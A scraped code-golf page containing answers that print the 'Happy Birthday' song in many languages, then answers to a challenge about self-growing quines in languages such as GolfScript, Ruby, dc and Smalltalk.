the sum of a bad fat vile pig and a fat bad lie. Speak thy mind! You are as fat as the sum of thyself and a vile evil war. Speak thy mind! You are as vile as the sum of thyself and the sum of a pig and a toad. Speak thy mind! You are as fair as the sum of thyself and the sum of a big fair hard fine son and a red fine fair joy. Speak thy mind! Are you as old as a big cow? Ajax: If so, we shall go to Scene IV. Ford: You are as big as a red old fair fine tiny cow. Speak thy mind! You are as old as the sum of thyself and the sum of the sum of a big red warm rich bold fair cat and a red old fair fine tiny cow and a bad hog. Speak thy mind! You are as big as the sum of thyself and the sum of a fat bad hog and a war. Speak thy mind! You are as big as a red old fair fine tiny cow. Speak thy mind! You are as old as the sum of thyself and the sum of a big red warm rich bold fair cat and a fat foul bad hog and a son. Speak thy mind. You are as fat as the sum of thyself and the sum of the sum of a big fair hard fine son and a big fine fair joy and a bad pig. Speak thy mind. Ajax: Let us return to Scene II. Scene IV: 4 Ford: You are as big as a red old fair fine tiny cow. Speak thy mind! You are as old as the sum of thyself and a big red warm rich bold fair cat and a warm sky. Speak thy mind. You are as fat as the sum of thyself and the sum of a red old fair fine tiny cow and a cat. Speak thy mind. You are as fat as the sum of thyself and a bad foul hog. Speak thy mind. You are as cute as the sum of thyself and the sum of a big fair hard fine son and a sky. Speak thy mind. You are as big as a red old fair fine tiny cow. Speak thy mind! You are as old as the sum of thyself and the sum of thyself and the sum of the sum of the sum of a red old fair fine tiny cow and a big fair hard fine son and a big joy and a son. Speak thy mind. You are as bad as the sum of thyself and the sum of a fat pig and a hog. Speak thy mind. You are as fat as the sum of thyself and a lazy pig. Speak thy mind. Ajax: Let us return to Scene II. Scene V: 5 [Exeunt] ``` ### The meaning of all this? OK, if you're curious about how all of this is supposed to work, let me try and explain my reasoning. Firstly, the variables. They have to come from Shakesperian plays and, since tharacter count is important, we have to choose the small ones; thus, `Ajax` and `Ford` appear. They need a description after being declared (which is ignored, but still); I could've used a single letter, but heh. ### Act I, Scene I `var Ajax, Ford; Ford = 0;` We bring the variables into the stage and make `Ajax` tell `Ford` that his value will be 0. ### Act I, Scene II `if (Ford > 2*1+1) goto Scene V; Ford = Ford + 1;` OK, if the value stored in `Ford` is bigger than 3, the program jumps to Scene V; otherwhise, its value is incremented. ### Act I, Scene III `Ford = 2*2*2*2*2*2*1+2*2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*1-1; print((char) Ford); Ford = Ford+2*2*2*2*1-1; print((char) Ford); print((char) Ford); Ford = Ford+2*2*2*1+1; print((char) Ford); Ford = 2*2*2*2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*2*1+2*2*2*1+(-1); print((char) Ford); Ford = Ford+2*2*2*1+1; print((char) Ford); Ford = Ford+2*1; print((char) Ford); Ford = Ford+2*2*2*(-1)+2*2*(-1); print((char) Ford); Ford = Ford+2*2*(-1); print((char) Ford); Ford = Ford+2*(-1)+(-1); print((char) Ford); Ford = Ford+2*2*2*2*1+2*2*2*1; print((char) Ford); if (Ajax == 2*1) goto Scene IV; Ford = 2*2*2*2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*2*2*1+2*2*2*2*2*1+2*(-1); print((char) Ford); Ford = Ford+2*2*(-1)+(-1); print((char) Ford); Ford = 2*2*2*2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*2*2*1+2*2*2*(-1)+1; print((char) Ford); Ford = Ford+2*2*2*2*1+2*2*2*1+2*(-1); print((char) Ford); Ford = Ford+2*2*2*1+2*-1; print((char) Ford); goto Scene II;` Loads and loads of lines. The idea is to fiddle with the value stored on `Ford`, doing loads and loads of arithmetic operations in order to get the ASCII number of the desired letters, then we tell the compiler to output the number in character form. That's how you write `Happy Birthday`. There's an `if` inside this scene: the idea is to check if this is the third phrase of the song; if it is, we jump to Scene IV; otherwise we keep on forward, to write `to You`. After that, we jump back to Scene II. ### Act I, Scene IV `Ford = 2*2*2*2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*2*2*1+2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*2*1+1; print((char) Ford); Ford = Ford+2*2*(-1); print((char) Ford); Ford = Ford+2*2*2*2*1+1; print((char) Ford); Ford = 2*2*2*2*2*1; print((char) Ford); Ford = Ford+2*2*2*2*2*1+2*2*2*2*1+2*1+1; print((char) Ford); Ford = Ford+2*(-1)+(-1); print((char) Ford); Ford = Ford+2*2*(-1); print((char) Ford); goto Scene II;` The way this works is similar to the Scene above: the idea is to write `Dear SPL`. ### Act I, Scene V `End.` Just like that. I still haven't found any place where this can be tested, unfortunately... [Answer] # [ArnoldC](http://en.wikipedia.org/wiki/Esoteric_programming_language#ArnoldC), 228 bytes Lets make [Arnold Schwarzenegger](http://en.wikipedia.org/wiki/Arnold_Schwarzenegger) singing... ``` IT'S SHOWTIME TALK TO THE HAND "Happy Birthday to You" TALK TO THE HAND "Happy Birthday to You" TALK TO THE HAND "Happy Birthday Dear ArnoldC" TALK TO THE HAND "Happy Birthday to You" YOU HAVE BEEN TERMINATED ``` output: ``` Happy Birthday to You Happy Birthday to You Happy Birthday Dear ArnoldC Happy Birthday to you ``` [Answer] ## APL (48) ``` ↑1⌽'Happy birthday '∘,¨(3/⊂'to you'),⊂'dear APL' ``` [Answer] ## Ruby, 54 bytes I just thought "Hey, there's no Ruby answer yet", but then one appeared a few seconds before this one. Oh well... ``` puts h="Happy Birthday to You",h,h[0,15]+"Dear Ruby",h ``` [Answer] I just can't decide on just one language :/ # BrainBack: 68 ``` 4 ["Happy birthday ">2 ->![<0 "to You "]<[<0 "Dear BrainBack "]<1 -] ``` *BrainBack is a mix between BrainFuck and Forth, made for a [PCG challenge Mar 7, 2014](https://codegolf.stackexchange.com/a/23426/11290)* # [Extended BrainFuck](http://sylwester.no/ebf/): 79 ``` {h|"Happy Birthday ">}{t|"to You ">}&h&t&h&t&h|"Dear Extended BrainFuck ">&h&t ``` *EBF's birthday is [Jul 16, 2010](https://code.google.com/p/ebf-compiler/source/detail?r=14&path=/trunk/ebf.ebf)* # Scheme: 96 (R5RS, Racket, R6RS REPL) ``` (map(lambda(e)(display"Happy Birthday ")(display(if e "to You\n" "Dear Scheme\n")))'(1 1 #f 1)) ``` *Scheme was born [Dec, 1975](http://repository.readscheme.org/ftp/papers/ai-lab-pubs/AIM-349.pdf) (NB: PDF)* # [Zozotez](http://sylwester.no/zozotez/): 96 ``` ((:'R(\(l)(p'|Happy birthday |())(p(?(a l)'|to You|'|Dear Zozotez|))(?(d l)(R(d l)))))'(t t()t)) ``` However, It feels more right doing this one in French (86): ``` ((:'A(\(l)(p'|Joyeux anniversaire|())(p(a l))(?(d l)(A(d l)))))'(, , | Zozotez,| |.|)) ``` Output: ``` Joyeux anniversaire, Joyeux anniversaire, Joyeux anniversaire Zozotez, Joyeux anniversaire. ``` *Zozotez' birthday is [Jul 19, 2011](https://code.google.com/p/zozotez/downloads/detail?name=zozotez-alpha-16.bf&can=1&q=#makechanges)* [Answer] # Deadfish (2610 2391 chars) What's this? An output only challenge? Sound like it's a job for [Deadfish](http://esolangs.org/wiki/Deadfish)! ``` iiisdsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiiiiiiiiiiiiiiiioddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiioiioiiioiiiiiiiiiiodddddddddddoddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiio ``` Unfortunately, because Deadfish only outputs integers, the code above outputs the ASCII representations of each character in the song. If we use the specification that > > Errors are not acknowledged: the shell simply adds a newline > character! > > > then we can golf this down to 2391 chars: ``` iiisdsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiiofdddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiiofdddddddddddddddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiiiiiiiiiiiiiiiioddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiiiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioddddoiiioiioiiioiiiiiiiiiiodddddddddddofddddddddddddddddddddddddddddddddoiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiiiiiiiiooiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddoddddddddddddddddddddddddsiioiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiioiiiiiiiiioiioddddddddddddoddddodddoiiiiiiiiiiiiiiiiiiiiiiiiodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddsdddddodddddodddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddodddddddddddddddddddddddsiiiiiiiioiiiiiiiiiiiiiiiiiiiiiioiiiiiio ``` Note: Deadfish isn't *actually* my favourite language, but I couldn't resist :P. Also golfing in Deadfish is a fun puzzle on its own. [Answer] ## Any love for PHP? ~~61~~ ~~59~~ 58 bytes ``` $s=" Happy Birthday";echo$t="$s to You","$t$s Dear PHP$t"; ``` [See it in action @ http://sandbox.onlinephpfunctions.com/](http://sandbox.onlinephpfunctions.com/code/c519991be966a335c84d6bb135061435033d39ab) [Answer] ## JS, 83 bytes ``` h="Happy Birthday to You\n",console.log(h,h,h.replace("to You\n","Dear")+" JS\n",h) ``` **or 79 bytes by @Ingo Bürk** ``` h="Happy Birthday ",t="to You\n",console.log(h+t,h+t,h+"Dear Javascript\n",h+t) ``` **or 71 bytes by @kapep** ``` console.log(a=(b="Happy Birthday ")+"to You\n",a,b+"Dear Javascript\n",a) ``` *or run on the console this page (42 bytes)* ``` eval($("#answer-39759 code:first").text()) ``` [Answer] # T-SQL, ~~89~~ 87 bytes **Edit:** Probably shouldn't be dredging these old things up, but I just noticed an obvious change to this to reclaim a couple of bytes. Using STUFF to remove unwanted parts of the string, the starting index is provided by the values in the `FROM` clause multiplied by 3 ``` SELECT STUFF('Happy Birthday to You Dear SQL',N,8,'')FROM(VALUES(24),(24),(15),(24))S(N) ``` [Answer] # R: 70 bytes Takes advantage of `paste` and vector recycling. ``` writeLines(paste(rep("Happy Birthday",4),c(rep("to You",2),"Dear R"))) ``` [Answer] # Python 507 bytes ``` print """ H a p py- Bir t h day -to-Y ou= Happy - B irt h d a y - t o - Y o u = H a p p y - B i r t h d a y - D e ar-P ython =Ha ppy - Bir t hda y -to- Y o uHapp y - B i r t h d a y - t o - Y o u = H a p p y - B i r t h day -to-Y o u = H a ppy - B i r """.replace("\n","").replace(" ","").replace("-"," ").replace("=","\n")[:92] ``` Not winning any prizes ... but if you look at it carefully, there is some ASCII art: ``` # # # ### ### # # ### ##### ### ##### # # ### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #### ##### ### ### # ### # ### # #### # # ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ### ##### # # # # # ### # # # # ``` [Answer] # GNU dc, 51 ``` [Happy Birthday to You]d[Happy Birthday Dear dc]rdf ``` [Answer] # Perl - 58 ``` say"Happy Birthday ".($_?"Dear Perl":"To You")for(0,0,1,0) ``` Run with: ``` perl -E'say"Happy Birthday ".($_?"Dear Perl":"To You")for(0,0,1,0)' ``` Just for fun: ``` perl -E'for(<HappyBirthday{0,1,2,3}>){s/B/ B/;s/2/ Dear Perl\n/;print s/\d/ To You\n/r}' ``` [Answer] # Excel VBA, ~~687~~ ~~686~~ ~~686~~ 681 Bytes From the problem statement: > > However, I'm also rewarding other witty submissions with up-votes (and I encourage everybody to do so as well). Therefore although this is a code-golf contest, not-so-short answers are also welcome. > > > ## Code Full `sub`routine that takes no input and outputs a happy birthday song for VBA onto the range `[A1:CM23]` of the `ActiveSheet` object. ``` Global l Sub a Cells.RowHeight=48 For l=0To 3 p[A1:A5,B3,C1:C5,F1,E2:E5,G2:G5,F3,I1:I5,J1,K2,J3,M1:M5,N1,O2,N3,Q1:Q2,R3:R5,S1:S2] p[Y1:Y5,Z1,AA2,Z3,AA4,Z5,AC1:AE1,AD2:AD4,AC5:AE5,AG1:AG5,AH1,AI2,AH3,AI4:AI5,AK1:AM1,AL2:Al5,AO1:AO5,AP3,AQ1:AQ5,AS1:AS5,AT1,AU2:AU4,AT5,AX1,AW2:AW5,AY2:AY5,AX3,BA1:BA2,BB3:BB5,BC1:BC2] If l-2Then p[BI1:BK1,BJ2:BJ5,BN1,BM2:BM4,BN5,BO2:BO4,BU1:BU2,BV3:BV5,BW1:BW2,BZ1,BY2:BY4,BZ5,CA2:CA4,CC1:CC4,CD5,CE1:CE5]Else p[BI1:BI5,BJ1,BK2:BK4,BJ5,BM1:BM5,BN1:BO1,BN3,BN5:BO5,BR1,BQ2:BQ5,BS2:BS5,BR3,BU1:BU5,BV1,BW2,BV3,BW4:BW5,CC1:CC4,CD5,CE1:CE4,CG1:CG5,CH1,CI2,CH3,CI4,CH5,CL1,CK2:CK5,CM2:CM5,CL3] Next End Sub Sub p(r) r.Offset(6*l).Interior.Color=0 End Sub ``` ## Output [![enter image description here](https://i.stack.imgur.com/nqszZ.png)](https://i.stack.imgur.com/nqszZ.png) [Answer] # PowerShell - ~~69~~ ~~64~~ 59 ``` 1,1,0,1|%{"Happy Birthday "+("Dear $ShellId","To You")[$_]} ``` and 91 ``` $a,$b,$c="Happy Birthday.To You.Dear PowerShell".Split(".");1..2|%{"$a $b"};"$a $c";"$a $b" ``` and 108 ``` $a=@();$b,$c="To You.Dear PowerShell".Split(".");1..4|%{$a+="Happy Birthday $b"};$a[2]=$a[2]-replace$b,$c;$a ``` [Answer] # Ruby, 56 ``` x="Happy Birthday To You "*4 x[59,6]="Dear Ruby" puts x ``` [Answer] # Var'aQ - 121 ``` "Happy Birthday " ~ a cher "to you\n" tlheghrar ~ b cher b tlheghrar a "dear Var'aQ" tlheghrar tlheghrar b tlheghrar cha' ``` [Answer] # [Marbelous](https://github.com/marbelous-lang/), 151 Prints `Happy Birthday` every time `hb` is called, with either `to you` or `Dear Marbelous` appended, based on whether the input is `0` or `1`. The passed marble in `hb` will not be outputted, as it will get stuck in the synchroniser `&0`. ``` 03 00 02 01 hb :hb }0 =0&0 &1 &2// 746F20596F7544656172204D617262656C6F75730A &0&0&0&0&0&0&1&1&1&1&1&1&1&1&1&1&1&1&1&1&2 486170707920426972746864617920 ``` Below is the board `hb`, with hex converted to ascii text: ![enter image description here](https://i.stack.imgur.com/bomXw.png) [Answer] ## CJam, 46 bytes ``` 4,{"Happy Birthday "\2="Dear CJam""to You"?N}% ``` [Try it here.](http://cjam.aditsu.net/) ``` 4, "Push [0,1,2,3]."; { }% "Map..."; "Happy Birthday " "Push the string."; \ "Swap top two stack elements (string and array element)"; 2= "Check equality with 2."; "Dear CJam""to You" "Push two more strings."; ? "Select string based on result of 2=."; N "Push a line break"; ``` This leaves the following array on the stack: ``` ["Happy Birthday " "to You" "\n" "Happy Birthday " "to You" "\n" "Happy Birthday " "Dear CJam" "\n" "Happy Birthday " "to You" "\n"] ``` Whose contents are automatically printed back-to-back at the end of the program. Alternatively, with a for-loop and the same character count: ``` 4{"Happy Birthday "I2="Dear CJam""to You"?N}fI ``` [Answer] # GolfScript: 54 characters ``` 4,{"Happy Birthday "["To You""Dear GolfScript"]@2==n}% ``` Sample run: ``` bash-4.3$ golfscript.rb <<< '4,{"Happy Birthday "["To You""Dear GolfScript"]@2==n}%' Happy Birthday To You Happy Birthday To You Happy Birthday Dear GolfScript Happy Birthday To You ``` [Answer] ## T-SQL (MS compliant): 75 ``` print stuff(replicate('Happy Birthday to You '+char(10),4),62,6,'Dear SQL') ``` [Answer] # **C# (75) (73)** Using `System.Diagnostics` for the purpose of `Debug.Print` Upgrade to @Abbas' code ``` string x="\nHappy Birthday ",y=x+"to You";Debug.Print(y+y+x+"Dear C#"+y); ``` Upgrade to @Tyress' code **(83) (76)** ``` for(int i=0;i++<4;)Debug.Print("Happy Birthday "+(i!=3?"to You":"Dear C#")); ``` Output: ``` Happy Birthday To You Happy Birthday To You Happy Birthday Dear C# Happy Birthday To You ``` ]
[Question] [ You are to write a program that will output source code that is 1. Larger than the original program (character wise) 2. Will print another program larger than itself when run (i.e. the new program is also a valid answer to this challenge) indefinitely This is code-golf, so shortest answer wins. [Answer] # [H9+](http://esolangs.org/wiki/H9+) : 1 char ``` 9 ``` That's right. One character. Outputs the lyrics to [99 bottles of beer](http://esolangs.org/wiki/99_bottles_of_beer), which is a valid program. All the extraneous data does not count, but there are plenty of `9`s in there. The output of the outputted program is the lyrics to 99 bottles of beer 59 times. This function gives the number of times the lyrics are outputted if you run the program `n` times (if my calculation is correct): ``` f(n) = 59n-1 ``` [Answer] # Java 7: 0 chars Save as file `Blank.java`. If you save it as any other file, replace any instance of `Blank` with the appropriate file name. Then, run in command line via first compiling, then running. If compiling fails, stop. I list this as **Java 7** because it might output differently for different versions of Java. First few outputs (outputted to stderr): ``` Error: Could not find or load main class Blank ``` ``` Blank.java:1: error: class, interface, or enum expected Error: Could not find or load main class Blank ^ Blank.java:1: error: reached end of file while parsing Error: Could not find or load main class Blank ^ 2 errors ``` ``` Blank.java:1: error: class, interface, or enum expected Blank.java:1: error: class, interface, or enum expected ^ Blank.java:1: error: expected Blank.java:1: error: class, interface, or enum expected ^ Blank.java:1: error: expected Blank.java:1: error: class, interface, or enum expected ^ Blank.java:1: error: as of release 5, 'enum' is a keyword, and may not be used as an identifier Blank.java:1: error: class, interface, or enum expected ^ (use -source 1.4 or lower to use 'enum' as an identifier) Blank.java:1: error: = expected Blank.java:1: error: class, interface, or enum expected ^ Blank.java:2: error: expected Error: Could not find or load main class Blank ^ Blank.java:2: error: ';' expected Error: Could not find or load main class Blank ^ Blank.java:2: error: = expected Error: Could not find or load main class Blank ^ Blank.java:2: error: = expected Error: Could not find or load main class Blank ^ Blank.java:2: error: expected Error: Could not find or load main class Blank ^ Blank.java:3: error: = expected ^ ^ Blank.java:3: error: ';' expected ^ ^ Blank.java:4: error: illegal start of type Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: = expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: illegal start of type Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: = expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: illegal start of type Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: = expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: ';' expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: = expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: = expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:4: error: ';' expected Blank.java:1: error: reached end of file while parsing ^ Blank.java:5: error: expected Error: Could not find or load main class Blank ^ Blank.java:5: error: ';' expected Error: Could not find or load main class Blank ^ Blank.java:5: error: = expected Error: Could not find or load main class Blank ^ Blank.java:5: error: = expected Error: Could not find or load main class Blank ^ Blank.java:5: error: expected Error: Could not find or load main class Blank ^ Blank.java:6: error: = expected ^ ^ Blank.java:6: error: ';' expected ^ ^ Blank.java:7: error: reached end of file while parsing 2 errors ^ 30 errors ``` [Answer] # GolfScript, 9 chars ``` {.'.~'}.~ ``` This code outputs: ``` {.'.~'}{.'.~'}.~ ``` which outputs: ``` {.'.~'}{.'.~'}{.'.~'}.~ ``` which outputs: ``` {.'.~'}{.'.~'}{.'.~'}{.'.~'}.~ ``` and so on. I believe this is the shortest answer in a "real" Turing-complete programming language so far. ### Explanation: Basically, the original code above is a "quine-layer": it outputs a normal quine followed by itself. In GolfScript, any code block literal (e.g. `{foo}`), if left undisturbed on the stack, is a quine. Thus, on its own, `{.'.~'}` simply outputs itself, just like any other code block would. The `.~` at the end of the code takes the last code block on the stack, duplicates it, and executes the copy. When executed, the code `.'.~'` inside the code block duplicates the topmost item on the stack (i.e. the copy of itself) and appends the string `.~`. At the end of the program, the GolfScript interpreter stringifies and outputs everything on the stack, which, in this case, consists of one more `{.'.~'}` block than in the input, plus the string `.~`. ### Bonus: Adding a `]` before the first `.` (to collect all the code blocks on the stack into an array before they're duplicated) makes it grow exponentially: ``` {].'.~'}.~ ``` outputs: ``` {].'.~'}{].'.~'}.~ ``` which outputs: ``` {].'.~'}{].'.~'}{].'.~'}{].'.~'}.~ ``` which outputs: ``` {].'.~'}{].'.~'}{].'.~'}{].'.~'}{].'.~'}{].'.~'}{].'.~'}{].'.~'}.~ ``` and so on. [Answer] # [GS2 (8636bd8e)](https://github.com/nooodl/gs2/tree/8636bd8), 0 bytes This prints a single newline, which prints two newlines, which prints three newlines, et cetera. [Try it online!](https://tio.run/##RY3PCoJAGMTP7lPMC7RmgQhRl@psBz2H7m6uSH6LfgYSPfsm2p85DcP8Zsqit94rh1WHkByHVb8JJaSoaoayRjU0MJJ4G5c6MYJpUBaKtBHiRh2uqFs8Iymj9WsHTSIwyhL2k3BMT@fZiUAVvECBG9lSi@lFunHOcMB04Qb@s0jz7JJn@LHfwv3xscuaptZ4/wY "Bash – Try It Online") [Answer] ## HQ9+, HQ9++ and similars, 2 characters ``` QQ ``` This is the output: ``` QQQQ ``` [Answer] # Ruby 27 A very slightly modified version of [this](http://www.justskins.com/forums/shortest-nozero-ruby-quine-122609.html) ([via](https://stackoverflow.com/questions/2474861/shortest-ruby-quine)): ``` puts <<3*3,3 puts <<3*3,3 3 ``` The number of times that `puts`-line is printed grows exponentially. ``` $ ruby quine.rb | ruby | ruby puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 puts <<3*3,3 3 $ ruby quine.rb | ruby | ruby | ruby | ruby | ruby | ruby | ruby | wc -l 3283 ``` [Answer] ## Lambda Calculus - 29 A simple lambda term ``` (λu.(u u)(u u))(λu.(u u)(u u)) ``` Reducing this term by one beta reduction yields ``` ((λu.(u u)(u u))(λu.(u u)(u u)))((λu.(u u)(u u))(λu.(u u)(u u))) ``` And so on and so on. It's a simple variant on the classic `(λu.u u)(λu.u u)` which is a quine in lambda calculus, double self application here means we get twice the output. [Answer] # SH script, 9 ``` cat $0 $0 ``` Grows at exponential rate. Either run as `sh whatever.sh` or set it as executable. Windows version is [here](https://codegolf.stackexchange.com/a/21934/16504). [Answer] # dc 11 Quite simple: ``` 6579792 dfP ``` The first line is repeated once every generation: ``` $ dc growing_quine.dc 6579792 6579792 dfP $ dc growing_quine.dc | dc | dc 6579792 6579792 6579792 6579792 dfP ``` The last line consists of the following instructions: `d` duplicates the last value put on the stack (6579792) (so that we get one more copy each time we run it), `f` prints the whole stack (which is a bunch of that same number) and `P` prints the number (6579792) out as a byte stream, which displays as `dfP`. [Answer] # redcode (recursive solution) This is the code of the easiest warrior writable in *redcode*, the famous Imp: ``` MOV 0, 1 ``` When executed, the code writes a copy of its single instruction at the next address in memory; then executes it, etc. [Answer] # Python 3 - 55 ``` print(open(__file__).read()) f=lambda:print('f()') f() ``` This could be made shorter by replacing \_\_ file\_\_ with a single character filename and saving the file as that, but I felt this answer was more in the spirit of the question. After one iteration it outputs: ``` print(open(__file__).read()) f=lambda:print('f()') f() f() ``` [Answer] # Smalltalk, 125 61 57 The golf version looks almost unreadable so I'll explain first (and use real identifiers). This is a variant of the "weirdest-way-to-produce-a-stack-overflow" self modifying method. The method prints out a hello message, and its current source (for the demonstration only). Then, the code is modified to output a longer string and installed. Finally, the new code is called recursively. In order to protect myself from an immediate runaway, it lets the user confirm in each cycle. compile in Object: ``` eatMe_alice |msg mySource| mySource := thisContext method source. '**** Hello Alice' printCR. ' ---- my current code is:' printCR. mySource printCR. ' ---------------' printCR. (UserConfirmation confirm:'Again? ') ifTrue:[ Object compile: (mySource copyReplaceString:'Hello ','Alice' withString:'Hello ','Alice !'). self eatMe_alice ] ``` start the show by sending "eatMe\_alice" to any Object; nil will do: `nil eatMe_alice` A nice variant is to not call the new code recursively, but instead iteratively, by unwindig the call stack and reentering into the new method. This has the advantage of not leading to a recursion exception. To do this, replace the recursive call ("self eatMe\_alice") by: ``` thisContext resend ``` Golfing: Obviously, printing and self calling was not asked for, so the shortest (for golf) is to simply append a comment to my own source and return it. As a side effect, it also gets installed for the next call... ``` x|s|Object compile:(s:=thisContext method source,'""').^s ``` [Answer] # Evoloop, 9×9 rectangle (81 cells) The [Evoloop cellular automaton included with Golly](https://github.com/gollygang/ruletablerepository/wiki/TheRules) supports patterns which replicate themselves in a "quine-like" way. Specifically, these patterns each contain a "program"; a pattern reproduces itself by first executing the program (which creates the "body" of the daughter), and then by copying the program into the daughter. The above applies to the more famous "Langton's Loops" cellular automaton as well as 